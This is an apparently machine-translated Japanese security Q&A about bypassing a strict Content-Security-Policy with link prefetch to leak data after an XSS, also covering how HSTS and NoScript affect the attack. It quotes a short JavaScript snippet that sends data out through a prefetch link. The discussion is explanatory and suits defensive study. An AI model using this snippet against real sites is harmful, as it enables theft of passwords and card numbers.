厳密なCSPによるXSSの脆弱性
記事 私はあなたのサイトからクレジットカード番号とパスワードを収集しています。方法は次のとおりです。 は、攻撃者が厳密なCSPを迂回して機密情報を漏えいする可能性がある理論的な攻撃のフェーズについて説明しています。この記事では、このスクリプトはCSPをバイパスできるとしています。
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
これは、CSP標準のprefetch動作が十分に指定されていないという事実を利用しています。 Chromeではこれは機能しますが、Firefoxでは現在、これが発生しないようになっています（バグレポートでユーザーからの苦情が変わる可能性があります）。この記事では、これは最も厳しいセキュリティポリシーでも機能するとしている。
Content-Security-Policy: default-src 'none'; script-src 'self'
現在prefetchのフォールバック動作がないため、これは正しいことです。ただし、対処されていないのは、攻撃者のコードが依然として何らかの方法で（アウトオブラインで）挿入される必要があることです。 "DNSプリフェッチによるContent-Security-Policyのバイパス" の記事は、XSSの脆弱性を他の場所で見つけることによってこれが行われることを示唆しています。
ターゲットWebサイトがHSTSを使用しており、WebサイトにアクセスするユーザーがNoScriptを使用しているとすると、このような攻撃ベクトルはどのようになるでしょうか？
HSTSはMITM（公共のwifiなど）を懸念する場合にのみ関連するため、残りの回答はHSTSとHSTSの両方で機能するリモートベクターを想定しています。
ユーザーがスクリプトを実行しないようにNoScriptを設定している場合、そのユーザーはXSSによって悪用されることはありません（スクリプトが実行されていないため、クロスサイトスクリプトは存在できません）。
NoScriptがローカルスクリプトを許可している場合（ただし、サードパーティから提供されたスクリプトをブロックしている可能性があります）、他のXSSベクトルと同じように見えます。ほとんどのXSSは、ページに任意のスクリプトを挿入できることに起因します。リストされたCSPでは、攻撃者がローカルドメインからスクリプトを調達する必要があるため（unsafe-inlineが利用できないため）、さらに困難になりますが、同じオリジンでの任意のファイルのアップロードで発生する可能性があります。
実際には、すべてがCSPを通過するデータの引き出しに関するものであり、元の注入ベクトルではありません。多くの異なるベクトルがプリフェッチを介してデータを引き出します。